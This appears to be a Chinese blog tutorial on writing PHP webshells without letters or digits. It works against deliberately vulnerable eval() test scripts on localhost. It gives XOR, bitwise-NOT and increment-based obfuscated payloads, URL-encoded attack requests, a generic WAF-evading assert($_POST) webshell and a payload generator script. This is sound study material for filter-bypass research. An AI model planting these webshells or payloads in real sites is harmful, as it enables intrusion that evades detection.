本文参考了p师傅的文章 一些不包含数字和字母的webshell
还有另一个师傅的记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)
这篇文章是在两位师傅文章的基础上写的。
另外感谢微笑老哥和我一起探讨这个问题,当然我们是各自写各自的,最后合并了一下;也可以看看他的文章

0x00 从没有字母和数字开始

// 测试代码 1
<?php
include 'flag.php';
// function getFlag(){
//     echo "flag{xxxx};
// }
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}
?>
// 测试代码 2 还过滤了下划线
<?php
include 'flag.php';
// function getFlag(){
//     echo "flag{xxxx};
// }
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>50){
        die("Too Long.");
    }
    if(preg_match("/[A-Za-z0-9_]+/",$code)){
        die("Not Allowed.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}

对于这样一个函数,我们的目的很简单,就是要调用函数 getFlag()。
通常来说一个典型的非数字后门应该如下所示:

eval($_GET[_]($_GET[__]));
// &&_=print_r&&__="123"
// 当然,菜刀喜欢用assert的函数,如下所示
eval(assert($_POST[_]));
// _ = print_r("123")

但是我们 的 shell 参数中不允许出现数字和字母,对此,需要一些骚姿势。

0x01 方法一 ===> 异或绕过

不妨来看看下面函数的结果是什么:

root@kali:~/桌面# php -r "echo '0x01'^'}';"
M

没错,} 和 HEX 编码为 0x7B。此时执行

0x7b ^ 0x01 = 0x4D
ord(0x4d) = 'M'

这确实是一个很好的想法。通过字符串的异或,能够绕过很多的WAF。
当然,不可打印字符也是可以利用的,并且不会被waf检测。比如这样的操作:

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

更短的长度!!!

当然,字符串的异或也不一定是一个字符,多个字符同样可以,如下所示:

root@kali:~/桌面# cat test.php
<?php
echo "`{{{"^"?<>/";
?>
root@kali:~/桌面# php -f test.php
_GET

没错,就是_GET。看上去已经明白了很多东西了。我们可以利用字符串的异或来绕过waf的检测。
然后我们更进一下

shell = $_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
PHP Webshell Without Alphabet and Number-ShaoBaoBaoEr's Blog

下划线被过滤的情况

当下划线被过滤的时候,同样可以构造出更加优秀的payload。不过我们传入的变量需要用+来代替,当然需要注意一下url编码以及在$_GET([])加入引号来表示它是一个变量,如下所示

$_GET(['+'])();
${"`{{{"^"?<>/"}['+']();&+=getFlag

最后的url编码如下所示

http://localhost/webshell_challenge/index.php?code=${%22`{{{%22^%22?%3C%3E/%22}[%27%2b%27]();&%2b=getFlag
PHP Webshell Without Alphabet and Number-ShaoBaoBaoEr's Blog

0x02 方法二 ===> 取反绕过

首先我们不说别的,来看一个汉字 和
我们用python看下其编码

>>> print("和".encode('utf8'))
b'\xe5\x92\x8c'
>>> print("和".encode('utf8')[2])
140
>>> print(~"和".encode('utf8')[2])
-141

好的,我们现在看到 和 的第三个字节的 值为 140【0x8c】,取反的值为 -141。
随后,我们把 -141给换成16进制,可以得到

OCT -141
HEX FFFFFFFFFFFFFF73

对此,我们取16进制的最后4位 0xff73 由于PHP的chr函数是模256取余的

PS 关于 php的chr函数的这个trick,有专门的题目,可以看看 array2string这道题目

所以,在php中,chr(0xff73) == 115 【实际上我们取多少个F都无所谓】,而115,就是s的ascii码。对此,你可以翻一下百度文库,来生成我们的payload。
https://wenku.baidu.com/view/f4c225340b4c2e3f572763da.html
然后写一个bypass如下

$i = 32;
while($i<127){

    $tmp = urlencode(~(chr($i)));
    print_r(chr($i)." ".$tmp.PHP_EOL);
    $i+=1;
}
# _ %A0 E5 8A A0  加{2}
# G %B8 E5 88 B8  券{2}
# E %BA E4 B8 BA  为{2}
# T %AB E4 B8 AB  丫{2}

在p神的博客中,介绍了这样生成1的方法:

$__=('>'>'<')+('>'>'<');
$_=$__/$__;

我们希望生成的payload应该如下所示:

$_GET[_]();&&_=getFlag

我将它沿袭下来来生成自己的payload

 // $_=~'加'{2}.~'券'{2}.~'为'{2}.~'丫'{2};
$__=('>'>'<')+('>'>'<');
$_=~'加'{$__}.~'券'{$__}.~'为'{$__}.~'丫'{$__};
${$_}[_]();

然后把它们缩在一起即可

$__=('>'>'<')+('>'>'<');$_=~'加'{$__}.~'券'{$__}.~'为'{$__}.~'丫'{$__};${$_}['_']();
http://localhost/webshell_challenge/index.php?shell=$__=(%27%3E%27%3E%27%3C%27)%2b(%27%3E%27%3E%27%3C%27);$_=~%27%E5%8A%A0%27{$__}.~%27%E5%88%B8%27{$__}.~%27%E4%B8%BA%27{$__}.~%27%E4%B8%AB%27{$__};${$_}[%27_%27]();&&_=getFlag
PHP Webshell Without Alphabet and Number-ShaoBaoBaoEr's Blog

更短的长度!!!

当然,也要谈及长度的问题。

不过,这边不能再插入汉字了,这些汉字严重阻碍了我们的思维。
并且,当下划线被禁用的时候,用这种方法就很关键了。多亏微笑老哥的一语点醒梦中人,其实不用汉字用\xXX也可。另外,php也支持 \x这样的写法。

首先,来算一个_GET

-2696460972
_GET
0x 5F 47 45 54
===> 取反
0x a0 b8 ba ab
也就是说 ~(\xa0\xb8\xba\xab) === "_GET"

所以,最后的payload也就很简单了。

${~"\xa0\xb8\xba\xab"}[_]();
$_GET[_]();

下划线被过滤的情况
另外,php也同样支持把一些命名'古怪'的变量。这个在py中也同样支持。

<?php
$写='123';
echo $写;
?>

这段代码是能够正确输出123的。所以传入的参数不一定是个可答应字符,也可以执行payload。在下划线被过滤的时候也非常管用。比如下面这样

${~"\xa0\xb8\xba\xab"}[\xaa]();&&\xaa=getFlag

当然\x需要用%来替代,最后的url如下图所示:

http://localhost/webshell_challenge/index.php?shell=${~%22%a0%b8%ba%ab%22}[%aa]();&&%aa=getFlag
PHP Webshell Without Alphabet and Number-ShaoBaoBaoEr's Blog

0x03 方法三 ===> ++绕过

先来看一段代码

C:\wamp64\bin\php\php5.6.35>php.exe -r "$a='a';echo ++$a;"
b

没错,在php中,支持字符串++的操作。不过没有 -- 的操作。

那么,如何拿到一个值为字符串'a'的变量呢?
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:另外我们知道,ASCII码表中,大写字母位置在小写字母前面。通过一点一点加上去,最后再用 . 把所有字符串拼起来即可。不过,这样的payload会非常长。

$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$___=$_;$__='';
$_=$___;
$_++;$_++;$_++;$_++;$_++;$_++;$__.=$_;
$_=$___;
$_++;$_++;$_++;$_++;$__.=$_;
$_=$___;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$__.=$_;
// $__ = GET
$__='_'.$__;
// ${$__}[_]();&&_=getFlag 
// 少了个 _ DEBUG了半天...

我用python写了一个简易的生成脚本

input = input(">>")
input = str(input)
print ("$___='A';$__='';");
for put in input:
    step = ord(put) - ord('A') +1 ;
    print ("$_=$___;");
    for i in range(1,step):
        print("$_++",end=";")

    print("$__.=$_;")

print("echo $__;")

PHP Webshell Without Alphabet and Number-ShaoBaoBaoEr's Blog
最终的url payload为

http://localhost/webshell_challenge/index.php?shell=$_=[];$_=@%22$_%22;$_=$_[%27!%27==%27@%27];$___=$_;$___=$_;$__=%27%27;$_=$___;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$__.=$_;$_=$___;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$__.=$_;$_=$___;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$_%2b%2b;$__.=$_;$__=%27_%27.$__;${$__}[_]();&&_=getFlag

这种方法会让参数特别长。不是很推荐。